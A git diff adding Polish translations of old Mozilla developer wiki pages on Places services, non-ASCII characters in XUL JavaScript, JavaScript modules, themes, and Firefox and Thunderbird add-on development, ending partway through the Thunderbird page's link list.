+ <dt><a href="/pl/Miejsca/Usługa_dynamicznych_zakładek" title="pl/Miejsca/Usługa_dynamicznych_zakładek">Usługa dynamicznych zakładek</a></dt>
+ <dt><a href="/pl/Miejsca/Usługa_opisów" title="pl/Miejsca/Usługa_opisów">Usługa opisów</a></dt>
+ <dt><a href="/pl/Miejsca/Usługa_favicon" title="pl/Miejsca/Usługa_favicon">Usługa favicon</a></dt>
+ <dt><a href="/pl/Miejsca/Usługa_Tagging" title="pl/Miejsca/Usługa_Tagging">Usługa Tagging</a></dt>
+</dl>
+
+<h2 id="Dokumentacja_projektu" name="Dokumentacja_projektu">Dokumentacja projektu</h2>
+
+<dl>
+ <dt><a href="/pl/Miejsca/Projekt" title="pl/Miejsca/Projekt">Projekt miejsc</a></dt>
+ <dd>High-level overview of the places database design.</dd>
+ <dt><a href="/pl/Miejsca/Usługa_historii/Projekt" title="pl/Miejsca/Usługa_historii/Projekt">Projekt usługi historii</a></dt>
+ <dd>Projekt usługi historii.</dd>
+ <dt><a href="/pl/Miejsca/Usługa_zakładek/Projekt" title="pl/Miejsca/Usługa_zakładek/Projekt">Projekt usługi zakładek</a></dt>
+ <dd>Projekt usługi zakładek.</dd>
+ <dt><a href="/pl/Miejsca/Usługa_dynamicznych_zakładek/Projekt" title="pl/Miejsca/Usługa_dynamicznych_zakładek/Projekt">Projekt usługi opisów</a></dt>
+ <dd>Projekt usługi dynamicznych zakładek.</dd>
+</dl>
diff --git a/files/pl/międzynarodowe_pismo_w_xul_javascript/index.html b/files/pl/międzynarodowe_pismo_w_xul_javascript/index.html
new file mode 100644
index 0000000000..328cfa6124
--- /dev/null
+++ b/files/pl/międzynarodowe_pismo_w_xul_javascript/index.html
@@ -0,0 +1,35 @@
+---
+title: Międzynarodowe pismo w XUL JavaScript
+slug: Międzynarodowe_pismo_w_XUL_JavaScript
+tags:
+ - Internacjonalizacja
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Mozilla/XUL/International_characters_in_XUL_JavaScript
+---
+<p>
+</p>
+<h3 id="Wprowadzenie"> Wprowadzenie </h3>
+<p><a href="pl/Gecko">Gecko</a> 1.8, używane w <a href="pl/Firefox_1.5">Firefoksie 1.5</a> oraz innych aplikacjach, wprowadza wsparcie dla znaków non-ASCII w plikach <a href="pl/JavaScript">JavaScript</a> ładowanych z plików <a href="pl/XUL">XUL</a>.
+</p><p>Oznacza to, że pliki takiego skryptu mogą zawierać znaki języków z całego świata. Przykładowo poniższa linia:
+</p>
+<pre class="eval">var text = "Ein schönes Beispiel eines mehrsprachigen Textes: 日本語";
+</pre>
+<p>zawiera zarówno znaki niemieckie, jak i japońskie.
+</p><p>Wcześniejsze wersje zawsze interpretowały pliki JS ładowane z XUL jako <a class="external" href="http://pl.wikipedia.org/wiki/ISO-8859-1#Tablica_kodów">ISO-8859-1</a> (Latin-1). Sekwencje ucieczki Unicode zawsze działały poprawnie, (<a href="#Kompatybilno.C5.9B.C4.87_wersji">jak przedstawiono poniżej</a>).
+</p>
+<h3 id="Jak_określa_się_kodowanie_znaków_w_Gecko_1.8_oraz_późniejszych"> Jak określa się kodowanie znaków w Gecko 1.8 oraz późniejszych </h3>
+<p>Podczas ładowania pliku JavaScript z adresu <code><a class=" external">chrome://</a></code> zostaje użyty znacznik kolejności bajtów (<a href="pl/Byte_Order_Mark">Byte Order Mark</a> - <a class="external" href="http://pl.wikipedia.org/wiki/BOM">BOM</a>) w celu określenia kodowania znaków w skrypcie. W przeciwnym razie zostanie użyte kodowanie znaków takie samo co w plikach XUL (określone za pomocą atrybutu <code>encoding</code> znacznika <code>&lt;?xml?&gt;</code>). Domyślnie jest to kodowanie UTF-8 reprezentujące wszystkie znaki języków na świecie.
+</p><p>Jeśli plik skryptu ładowany jest poprzez HTTP, to nagłówek HTTP może zawierać deklarację kodowania znaków zawartą w części <code>Content-Type</code>, na przykład:
+</p>
+<pre class="eval">Content-Type: application/x-javascript; charset=UTF-8
+</pre>
+<p>Jeśli żaden parametr nie został określony obowiązują powyższe zasady.
+</p>
+<h3 id="Kompatybilność_wersji"> Kompatybilność wersji </h3>
+<p>Jeśli chcesz, by ten sam kod działał w Gecko 1.8 oraz wersjach wcześniejszych, musisz ograniczyć się do znaków ASCII. Jednakże możesz użyć <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode">sekwencji ucieczki</a> – powyższy przykład przepisany za ich pomocą będzie wyglądał następująco:
+</p>
+<pre class="eval">var text = "Ein sch\u00F6nes Beispiel eines mehrsprachigen Textes: \u65E5\u672C\u8A9E";
+</pre>
+<p>Alternatywą może być użycie plików własności poprzez <a href="pl/NsIStringBundle">nsIStringBundle</a> lub <a href="pl/Kurs_XUL/Plik_w%c5%82asno%c5%9bci">element XUL &lt;stringbundle&gt;</a>; umożliwi to lokalizację XUL. Sposób ten nie może być użyty w plikach XUL ładowanych z sieci, a jedynie w uprzywilejowanym kodzie - na przykład w <a href="pl/Rozszerzenia">rozszerzeniach</a>.
+</p>
diff --git a/files/pl/moduły_javascript/index.html b/files/pl/moduły_javascript/index.html
new file mode 100644
index 0000000000..e9f023463a
--- /dev/null
+++ b/files/pl/moduły_javascript/index.html
@@ -0,0 +1,25 @@
+---
+title: Moduły JavaScript
+slug: Moduły_JavaScript
+tags:
+ - Firefox 3
+ - JavaScript
+ - Wszystkie_kategorie
+ - XPConnect
+---
+<p>
+{{ Fx_minversion_header(3) }}
+</p><p>W programie Firefox 3 dostępna jest nowa metoda <code><a href="pl/Components.utils.import">Components.utils.import()</a></code>, pozwalająca w prosty sposób zaimportować kod JavaScript z modułu zewnętrznego. Informacje na temat instalacji modułów i korzystania z nich znajdują się w artykule <a href="pl/Zastosowanie_modu%c5%82%c3%b3w_JavaScript">Zastosowanie modułów JavaScript</a>. Modułów JavaScript można także użyć do <a href="pl/Praca_z_oknami_w_kodzie_chrome#Zastosowanie_modu.C5.82.C3.B3w_JavaScript">udostępniania danych</a> w rozszerzeniach.
+</p><p>Oprócz metody umożliwiającej import modułów w programie Firefox dostępne są dwa wbudowane moduły:
+</p>
+<dl><dt>XPCOMUtils
+</dt><dd>Moduł <a href="pl/XPCOMUtils.jsm">XPCOMUtils.jsm</a> udostępnia narzędzia dla komponentów JavaScript załadowanych przez program ładujący.
+</dd><dt>JSON
+</dt><dd>Moduł <a href="pl/JSON.jsm">JSON.jsm</a> udostępnia narzędzia do przetwarzania danych w formacie JSON.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/JavaScript_modules", "es": "es/M\u00f3dulos_JavaScript", "fr": "fr/Modules_JavaScript", "ja": "ja/JavaScript_modules" } ) }}
diff --git a/files/pl/motywy/index.html b/files/pl/motywy/index.html
new file mode 100644
index 0000000000..61ea53d471
--- /dev/null
+++ b/files/pl/motywy/index.html
@@ -0,0 +1,74 @@
+---
+title: Motywy
+slug: Motywy
+tags:
+ - Dodatki
+ - Motywy
+ - Wszystkie_kategorie
+translation_of: Mozilla/Add-ons/Themes
+---
+<p>
+</p><p><span class="comment">"Getting Started" box, if there is no "Getting Started" article yet written, should be populated with another featurearticle or tutorial.</span>
+</p>
+<div class="callout-box"><b><a href="pl/Tworzenie_sk%c3%b3rek_dla_Firefoksa">Na początek</a></b><br>
+Wprowadzenie do tworzenia motywów dla Firefoksa.</div>
+<div>
+<p><b>Motywy</b> są skórkami dla różnych aplikacji Mozilli. Pozwalają zmieniać wygląd interfejsu użytkownika i profilować go do swoich potrzeb. Motyw może zmieniać tylko kolory UI, albo też całkowicie zmieniać każdy element jego wyglądu.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Dokumentacja" name="Dokumentacja"> <a>Dokumentacja</a> </h4>
+<dl><dt> <a href="pl/Tworzenie_sk%c3%b3rek_dla_Firefoksa">Tworzenie skórek dla Firefoksa</a>
+</dt><dd> <small>Aby stworzyć skórkę dla Firefoksa, będziesz musiał umieć trzy rzeczy. Edytować obrazki, rozpakowywać pliki zip, modyfikować CSS. Firefox korzysta z obrazków w standardowych formatach takich jak gif, png i jpeg dla przycisków i z arkuszy stylów dla całej reszty interfejsu.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Pakowanie_motyw%c3%b3w">Pakowanie motywów</a>
+</dt><dd> <small>Artykuł omawiający pakowanie motywów dla Firefoksa i Thunderbirda.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Zmiany_w_motywie_graficznym_w_Firefoksie_2"> Zmiany w motywie graficznym pomiędzy Firefoksem 1.5 a 2.0</a>
+</dt><dd> <small>Lista zmian w motywie graficznym pomiędzy Firefoksem 1.5 a 2.0.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=197434">Zmiana motywu z Firefoksa 1.0 do 1.5 (posty z forum)</a>
+</dt><dd> <small>...</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://kb.mozillazine.org/Dev_:_Themes">Programowanie motywów</a>
+</dt><dd> <small>...</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://cheeaun.phoenity.com/weblog/2004/12/first-steps-in-theme-design.html">Pierwsze kroki w projektowaniu motywów</a>
+</dt><dd> <small>Artykuł omawiający zaprojektowanie motywu do Firefoksa.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87"> Społeczność </h4>
+<ul><li> Obejrzyj fora Mozilli ...
+</li></ul>
+<p>{{ DiscussionList("dev-themes", "mozilla.dev.themes") }}
+</p>
+<ul><li> <a class="external" href="http://forums.mozillazine.org/viewforum.php?f=18">MozillaZine Themes forum</a>
+</li></ul>
+<h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia"> Narzędzia </h4>
+<ul><li> <a href="pl/Inspektor_DOM">Inspektor DOM</a>
+</li><li> <a class="link-https" href="https://addons.mozilla.org/firefox/63/">InspectorWidget</a>
+</li><li> <a class="external" href="http://www.extensionsmirror.nl/index.php?showtopic=21">Rozszerzenie ChromeEdit</a>
+</li></ul>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+<h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy"> Powiązane tematy </h4>
+<dl><dd> <a href="pl/CSS">CSS</a>
+</dd></dl>
+<p><br>
+</p>
+</td>
+</tr>
+</tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "de": "de/Themes", "en": "en/Themes", "es": "es/Temas", "fr": "fr/Th\u00e8mes", "ja": "ja/Themes", "zh-cn": "cn/\u4e3b\u9898", "zh-tw": "zh_tw/\u4f48\u666f\u4e3b\u984c" } ) }}
diff --git a/files/pl/mozilla/add-ons/amo/index.html b/files/pl/mozilla/add-ons/amo/index.html
new file mode 100644
index 0000000000..e1684b2100
--- /dev/null
+++ b/files/pl/mozilla/add-ons/amo/index.html
@@ -0,0 +1,15 @@
+---
+title: AMO
+slug: Mozilla/Add-ons/AMO
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Add-ons/AMO
+---
+<p>Pages documenting <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>:</p>
+
+<p>{{Listsubpages("/en-US/Add-ons/AMO", 10)}}</p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/pl/mozilla/add-ons/amo/policy/index.html b/files/pl/mozilla/add-ons/amo/policy/index.html
new file mode 100644
index 0000000000..703a751b21
--- /dev/null
+++ b/files/pl/mozilla/add-ons/amo/policy/index.html
@@ -0,0 +1,20 @@
+---
+title: AMO Policies
+slug: Mozilla/Add-ons/AMO/Policy
+translation_of: Mozilla/Add-ons/AMO/Policy
+---
+<p>{{AddonSidebar}}</p>
+
+<p>Mozilla is committed to ensuring an excellent experience for both our users and developers of add-ons. Please review the policies below before submitting your add-on.</p>
+
+<dl>
+ <dt><a href="/Mozilla/Add-ons/AMO/Policy/Agreement">Developer Agreement</a></dt>
+ <dd>Effective January 5, 2016</dd>
+ <dt><a href="/Mozilla/Add-ons/AMO/Policy/Reviews">Review Process</a></dt>
+ <dd>Add-ons extend the core capabilities of Firefox, allowing users to modify and personalize their Web experience. A healthy add-on ecosystem, built on trust, is vital for developers to be successful and users to feel safe making Firefox their own. For these reasons, Mozilla requires all add-ons to comply with the following set of policies on acceptable practices. The below is not intended to serve as legal advice, nor is it intended to serve as a comprehensive list of terms to include in your add-on’s privacy policy.</dd>
+ <dt><a href="/Mozilla/Add-ons/AMO/Policy/Featured">Featured Add-ons</a></dt>
+ <dd>How up-and-coming add-ons become featured and what's involved in the process.</dd>
+ <dd><strong><a href="/en-US/Add-ons#Contact_us">Contacting us</a></strong>
+ <p>How to get in touch with us regarding these policies or your add-on.</p>
+ </dd>
+</dl>
diff --git a/files/pl/mozilla/add-ons/index.html b/files/pl/mozilla/add-ons/index.html
new file mode 100644
index 0000000000..3500d5f048
--- /dev/null
+++ b/files/pl/mozilla/add-ons/index.html
@@ -0,0 +1,90 @@
+---
+title: Dodatki
+slug: Mozilla/Add-ons
+tags:
+ - Add-ons
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Add-ons
+---
+<div class="summary">Modyfikacje i rozszerzenia programu Mozilla</div>
+
+<p><span class="seoSummary">Dodatki dodają nowych funkcji do aplikacji bazujących na Gecko takich jak Firefox, SeaMonkey i Thunderbird.</span><strong> </strong>Istnieją dwa główne typy dodatków : Rozszerzenia, które dodają nowych właściwości do programu, oraz motywy które zmieniają wygląd programu</p>
+
+<p>Dla obu rodzajów rozszerzeń, Mozilla wprowadziła specjalną stronę <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, znaną również jako "AMO" . <a href="/en-US/Add-ons/Submitting_an_add-on_to_AMO">submit add-ons to AMO</a> they are reviewed, and after passing review they are made available to users. You don't have to submit add-ons to AMO, but if you do, users can take confidence in the fact that they have been reviewed, and you can benefit from AMO's visibility as a source for useful add-ons.</p>
+
+<p>Add-ons can greatly affect the behaviour of the application that hosts them. We've developed a <a href="/en-US/docs/Mozilla/Add-ons/Add-on_guidelines">set of guidelines</a> to help ensure that they provide a good experience to users. These guidelines apply for all sorts of add-ons, whether they are hosted at <a href="https://addons.mozilla.org/">addons.mozilla.org</a> or not.</p>
+
+<hr>
+<h2 id="Rozszerzenia"><a name="Extensions">Rozszerzenia</a></h2>
+
+<p>Rozszerzenia dodają nową funkcjonalność do aplikacji Mozilla takich jak Firefox czy Thunderbird. Mogą dodawać nowe funkcje do przeglądarki, na przykład inny sposób zarządzania zakładkami. Mogą także modyfikować zawartość witryn, by ulepszyć użytkowanie i bezpieczeństwo określonych stron.</p>
+
+<p>Istnieją trzy różne techniki, których możesz użyć, by stworzyć rozszerzenie: rozszerzenia bazujące na dodatkach SDK, rozszerzenia niewymagające restartu (bootstrap) oraz rozszerzenia legacy.</p>
+
+<ul class="card-grid">
+ <li><span><a href="https://developer.mozilla.org/en-US/Add-ons/SDK">Rozszerzenia bazujące na dodatkach SDK</a></span><br>
+ Rozszerzenia tworzone z użyciem wysokopoziomowych JavaScript APIs, które nie potrzebują ponownego uruchamiania przeglądarki do zainstalowania.</li>
+ <li><span><a href="/en-US/Add-ons/Bootstrapped_extensions">Rozszerzenia niewymagające restartu</a></span><br>
+ Rozszerzenia, które nie potrzebują ponownego uruchamiania przeglądarki do zainstalowania.</li>
+ <li><a href="/en-US/Add-ons/Overlay_Extensions"><span>Rozszerzenia legacy</span></a><br>
+ Rozszerzenia wymagające ponowne uruchamianie przeglądarki do zainstalowania; głównie z użyciem <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Overlays">XUL overlays</a>.</li>
+</ul>
+
+<p>If you can, it's advisable to use the Add-on SDK, which uses the restartless extension mechanism but simplifies certain tasks and cleans up after itself. If the Add-on SDK isn't sufficient for your needs, implement a manual restartless extension instead. Overlay extensions are mostly obsolete now, although there are still many of them in the wild.</p>
+
+<p>For more information on choosing which technique to use, read this <a href="/en-US/Add-ons/Comparing_Extension_Toolchains">comparison</a>.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Good_practices">Good practices</h3>
+
+<p>No matter how you develop an extension, there are some guidelines you can follow to help ensure your extension provides as good a user experience as possible.</p>
+
+<dl>
+ <dt><a href="/en-US/Add-ons/Performance_best_practices_in_extensions">Performance</a></dt>
+ <dd>Ensuring your extension is fast, responsive and memory-efficient.</dd>
+ <dt><a href="/en-US/Add-ons/Security_best_practices_in_extensions">Security</a></dt>
+ <dd>Ensuring your extension doesn't expose the user to malicious websites.</dd>
+ <dt><a href="/en-US/Add-ons/Extension_etiquette">Etiquette</a></dt>
+ <dd>Ensuring your extension plays nicely with other extensions.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h3 id="Application-specific">Application-specific</h3>
+
+<p>Most of the documentation assumes you're developing for Firefox Desktop. If you're developing for some other Gecko-based application, there are major differences you need to know about.</p>
+
+<dl>
+ <dt><a href="/en-US/Add-ons/Thunderbird">Thunderbird</a></dt>
+ <dd>Developing extensions for the Thunderbird mail client.</dd>
+ <dt><a href="/en-US/Add-ons/Firefox_for_Android">Firefox for Android</a></dt>
+ <dd>Developing extensions for Firefox for Android.</dd>
+ <dt><a href="/en-US/Add-ons/SeaMonkey_2">SeaMonkey</a></dt>
+ <dd>Developing extensions for the <a href="http://www.seamonkey-project.org/">SeaMonkey</a> software suite.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Motywy"><a name="Themes">Motywy</a></h2>
+
+<p>Motywy to dodatki modyfikujące interfejs użytkownika. Istnieją dwa rodzaje motywów: lekkie  i kompletne motywy.</p>
+
+<div class="column-container">
+<div class="column-half">
+<p><a href="https://addons.mozilla.org/en-US/developers/docs/themes">Lekkie motywy</a> są prostsze w implementacji od kompletnych motywów, ale są też bardzo ograniczone.<br>
+ <br>
+ Z  <a href="/en-US/docs/Themes">kompletnymi motywami</a> możesz dokonywać głębszych modyfikacji w UI. Dokumentacja tych motywów jest nieaktualna, ale jest tutaj podlinkowana zaktualizowana wersja.</p>
+</div>
+</div>
+
+<hr>
+<h2 id="Inne_rodzaje_dodatków">Inne rodzaje dodatków</h2>
+
+<p><a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">Search engine plugins</a> are a simple and very specific type of add-on: they add new search engines to the browser's search bar.</p>
+
+<p><a href="/en-US/docs/Plugins">Plugins</a> help the application understand content that it does not natively support. We're in the process of deprecating support for these plugins, as they have a history of causing stability, performance, and security problems.</p>
+
+<p>{{AddonSidebar}}</p>
diff --git a/files/pl/mozilla/add-ons/sdk/index.html b/files/pl/mozilla/add-ons/sdk/index.html
new file mode 100644
index 0000000000..c45ccb437f
--- /dev/null
+++ b/files/pl/mozilla/add-ons/sdk/index.html
@@ -0,0 +1,113 @@
+---
+title: Add-on SDK
+slug: Mozilla/Add-ons/SDK
+tags:
+ - Dodatek SDK
+translation_of: Archive/Add-ons/Add-on_SDK
+---
+<p> </p>
+
+<div class="warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+
+<p>Add-ons using the techniques described in this document are considered a legacy technology in Firefox. Don't use these techniques to develop new add-ons. Use <a href="/en-US/Add-ons/WebExtensions">WebExtensions</a> instead. If you maintain an add-on which uses the techniques described here, consider migrating it to use WebExtensions.</p>
+
+<p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 53</a>, no new legacy add-ons will be accepted on addons.mozilla.org (AMO) for desktop Firefox and Firefox for Android.</strong></p>
+
+<p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 57</a>, only extensions developed using WebExtensions APIs will be supported on Desktop Firefox and Firefox for Android. </strong></p>
+
+<p>Even before Firefox 57, changes coming up in the Firefox platform will break many legacy extensions. These changes include multiprocess Firefox (e10s), sandboxing, and multiple content processes. Legacy extensions that are affected by these changes should migrate to use WebExtensions APIs if they can. See the <a href="https://blog.mozilla.org/addons/2017/02/16/the-road-to-firefox-57-compatibility-milestones/">"Compatibility Milestones" document</a> for more information.</p>
+
+<p>A wiki page containing <a href="https://wiki.mozilla.org/Add-ons/developer/communication">resources, migration paths, office hours, and more</a>, is available to help developers transition to the new technologies.</p>
+</div>
+
+<p>za pomocą dodatku sdk można tworzyć dodatki dla firefoksa. można użyć różnych standardowych technologii internetowych: javascript, html i css, aby utworzyć dodatki. sdk zawiera javascript apis, które można wykorzystać do tworzenia dodatków i narzędzi do tworzenia, uruchamiania, testowania i pakowania dodatków.</p>
+
+<hr>
+<h3 id="sect1"></h3>
+
+<p>samouczki</p>
+
+<p>zacząć</p>
+
+<p>    jak zainstalować sdk i używać narzędzia jpm do tworzenia, testowania i dodawania pakietów.</p>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt>
+ <div class="column-half">
+ <dl>
+ <dt>
+ <p>Współpracuj z przeglądarką</p>
+
+ <p>    Otwieranie stron internetowych, słuchanie stron wczytywania i wyświetlania otwartych stron.</p>
+
+ <p>Techniki rozwoju</p>
+
+ <p>    Dowiedz się więcej o wspólnych technikach rozwoju, takich jak testowanie jednostkowe, logowanie, tworzenie modułów wielokrotnego użytku, lokalizacja i rozwój mobilny.</p>
+
+
+
+ <p>Utwórz składniki interfejsu użytkownika</p>
+
+ <p>    Utwórz elementy interfejsu użytkownika, takie jak przyciski paska narzędzi, menu kontekstowe, pozycje menu i okna dialogowe.</p>
+
+ <p>Modyfikuj strony internetowe</p>
+
+ <p>    Modyfikuj strony pasujące do wzoru adresu URL lub dynamicznie modyfikuj określoną kartę.</p>
+
+ <p>Łącząc je razem</p>
+
+ <p>    Przykład dodatku do przykładu adnotatora</p>
+ </dt>
+ </dl>
+ </div>
+ </dt>
+</dl>
+</div>
+</div>
+
+<hr>
+<p>Przewodniki</p>
+
+<p>Przewodnik dla współtwórców<br>
+     Dowiedz się, jak rozpocząć wkład do pakietu SDK oraz o najważniejsze idiom użyte w kodzie SDK, takie jak moduły, klasy i dziedziczenie, właściwości prywatne i procesy zawartości.<br>
+ Infrastruktura SDK<br>
+     Aspekty technologii bazującej na technologii SDK: moduły, identyfikator programu i reguły określające zgodność z Firefoksem.<br>
+ Skrypty zawartości<br>
+     Szczegółowy przewodnik po pracy z skryptami zawartości.</p>
+
+<p>Idiomy SDK<br>
+     Ramka zdarzeń SDK i rozróżnienie między dodatkowymi skryptami a skryptami zawartości.<br>
+ Migracja XUL<br>
+     Przewodnik po przenoszeniu dodatków XUL do pakietu SDK. W tym przewodniku znajdziesz porównanie obu zestawów narzędzi i przykładowy przykład przenoszenia dodatku XUL.<br>
+ Multiprocess Firefox i SDK<br>
+     Jak sprawdzić, czy dodatek jest zgodny z wieloma procesorami Firefox, czy nie, i odpowiednio go naprawić.</p>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dd></dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<p>Odniesienie</p>
+
+
+
+<p>API wysokiego poziomu</p>
+
+<p>    Dokumentacja dla interfejsów API SDK wysokiego poziomu.</p>
+
+<p>Narzędzie odniesienia</p>
+
+<p>    Dokumentacja referencyjna narzędzia jpm służącego do tworzenia, testowania i dodawania pakietów, konsoli globalnej używanej do logowania i pliku package.json.</p>
+
+<p>API niskiego poziomu</p>
+
+<p>    Dokumentacja dla interfejsów API SDK niskiego poziomu.</p>
+
+<hr>
diff --git a/files/pl/mozilla/add-ons/thunderbird/index.html b/files/pl/mozilla/add-ons/thunderbird/index.html
new file mode 100644
index 0000000000..b15b535a59
--- /dev/null
+++ b/files/pl/mozilla/add-ons/thunderbird/index.html
@@ -0,0 +1,135 @@
+---
+title: Thunderbird extensions
+slug: Mozilla/Add-ons/Thunderbird
+tags:
+ - Add-ons
+ - Extensions
+ - NeedsTranslation
+ - TopicStub
+ - thunderbird
+translation_of: Mozilla/Thunderbird/Thunderbird_extensions
+---
+<div class="callout-box"><strong><a href="/en/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="en/Building_a_Thunderbird_extension">Building a Thunderbird extension</a></strong><br>
+Step-by-step explanation on how to build an extension for Thunderbird.</div>
+
+<div>
+<p>{{AddonSidebar}}</p>
+The following documentation provides help for creating extensions for Mozilla's <a class="internal" href="/en/Thunderbird" title="En/Thunderbird">Thunderbird</a> email client. Although there are many similarities with <a href="/en/Extensions" title="en/Extensions">Firefox extensions</a> there are also some differences that may confound the starting developer.</div>
+
+<div><br>
+<strong>Please help!</strong> You can <a class="internal" href="/en/Extensions/Thunderbird/HowTos" title="en/Extensions/Thunderbird/HowTos">add a how-to</a> (a question or an answer or a code snippet), <a class="internal" href="/en/Extensions/Thunderbird/Useful_newsgroups_discussions" title="En/Extensions/Thunderbird/Useful newsgroups discussions">summarize and link to a relevant newsgroup discussion</a>, or create a tutorial. Need help? Contact <a class="internal" href="/User:jenzed" title="User:jenzed">jenzed</a>.</div>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=Extensions&amp;language=en" title="Special:Tags?tag=Extensions&amp;language=en">Documentation</a></h2>
+
+ <h3 id="Getting_started_with_Thunderbird">Getting started with Thunderbird</h3>
+
+ <p>A brave, young developer wants to develop an add-on for Thunderbird. Here's a few links to help them through this journey.</p>
+
+ <ul>
+ <li>Start by reading the tutorial and learn how to<a class="internal" href="/en/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="En/Building a Thunderbird extension"> build a Thunderbird extension</a> (Outdated, still talks about overlays and the add-on builder is no longer available but the tutorial has not been updated.)</li>
+ <li>Read about the <a href="/en/Thunderbird/Main_Windows" title="Main Windows">main windows</a> so that you know what one means when they say « thread pane », « preview pane », and « folder pane ».</li>
+
+ <li>Want to do some real stuff? See <a class="external" href="http://blog.xulforum.org/index.php?post/2011/03/14/Basic-MimeMessage-demo" title="http://blog.xulforum.org/index.php?post/2011/03/14/Basic-MimeMessage-demo">how to inspect a message</a> (demo add-on included!)</li>
+ <li>Play with our other <a href="/en/Extensions/Thunderbird/Demo_Addon" title="Demo Addon">demo add-on</a> that exercises some more advanced Thunderbird-specific features</li>
+ <li>Want to do even more stuff? Don't reinvent the wheel: steal functions from the <a class="link-https" href="https://github.com/protz/thunderbird-stdlib" title="https://github.com/protz/thunderbird-stdlib">thunderbird-stdlib</a> project (doc <a class="external" href="http://protz.github.com/thunderbird-stdlib/doc/symbols/_global_.html" title="http://protz.github.com/thunderbird-stdlib/doc/symbols/_global_.html">here</a>). Functions for dealing with messages (delete them, archive them, change their tags, etc.) are included.</li>
+ <li>Haven't found what you're looking for? Read the <a class="internal" href="/en/Extensions/Thunderbird/HowTos" rel="internal" title="en/Extensions/Thunderbird/HowTos">Thunderbird how-tos</a>; they contain a lot of recipes for things extensions want to do.</li>
+ <li>Still haven't managed to do what you wanted? See the list of all <a class="external" href="http://wiki.mozilla.org/Thunderbird/CommunicationChannels" title="http://wiki.mozilla.org/Thunderbird/CommunicationChannels">Thunderbird communication channels </a>so that you know where to ask when you get stuck :-).</li>
+ <li>Feeling really brave? Read the source using a <a class="external" href="http://doxygen.db48x.net/comm-central/html/" title="http://doxygen.db48x.net/comm-central/html/">fancy interface</a>; you can often find tests that demonstrate how to do what you're trying to achieve.</li>
+ </ul>
+
+ <h3 id="The_Gloda_database">The Gloda database</h3>
+
+ <p>Thunderbird has a subsystem called Gloda. Gloda stands for « Global Database », and creates Thunderbird-wide relations between objects. Gloda provides concepts such as Conversations, Messages, Identities, Contacts. All these concepts are related together: a Conversation contains Messages which are linked to Identities (<strong>from</strong> field, <strong>to</strong> field) which are themselves part of a Contact: indeed, a contact has multiple identities.</p>
+
+ <p>Typical use cases for Gloda: find all messages whose subject matches [search term], find all messages from [person], find all messages in the same thread as [a given message], find all messages involving [person], etc. etc.</p>
+
+ <p>Gloda is extremely powerful and is used heavily by add-ons such as <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/gmail-conversation-view/" title="https://addons.mozilla.org/en-US/thunderbird/addon/gmail-conversation-view/">Thunderbird Conversations</a>. Learn more about Gloda:</p>
+
+ <ul>
+ <li>an overview of <a href="/en/Thunderbird/gloda" title="Gloda">Gloda</a></li>
+ <li>learn how to create <a href="/en/Thunderbird/Creating_a_Gloda_message_query" title="Creating a gloda message query">your first message query</a> and read the <a href="/en/Thunderbird/Gloda_examples" title="Gloda examples">gloda examples</a></li>
+ <li>learn about the Gloda internals: <a href="/en/Thunderbird/Gloda_debugging" title="Gloda debugging">Gloda debugging</a>, <a href="/en/Thunderbird/Gloda_indexing" title="Gloda indexing">Gloda indexing</a></li>
+ </ul>
+
+ <h3 id="More_Thunderbird-specific_links">More Thunderbird-specific links</h3>
+
+ <p>Some of these links may be wildly out of date, but they still provide valuable information on the codebase.</p>
+
+ <ul>
+ <li><a class="internal" href="/en/Extensions/Thunderbird/An_overview_of_the_Thunderbird_interface" title="En/Extensions/Thunderbird/An overview of the Thunderbird interface">An overview of Thunderbird components</a></li>
+ <li><a class="internal" href="/en/Extensions/Thunderbird/Thunderbird_developer_reference_docs" title="en/Extensions/Thunderbird/Thunderbird developer reference docs">Developer reference docs</a>:
+ <ul>
+ <li><a class="internal" href="/en/Folders" title="En/Folders">Folder classes</a></li>
+ <li><a class="internal" href="/en/DB_Views_(message_lists)" title="En/DB Views (message lists)">DB views (message list)</a></li>
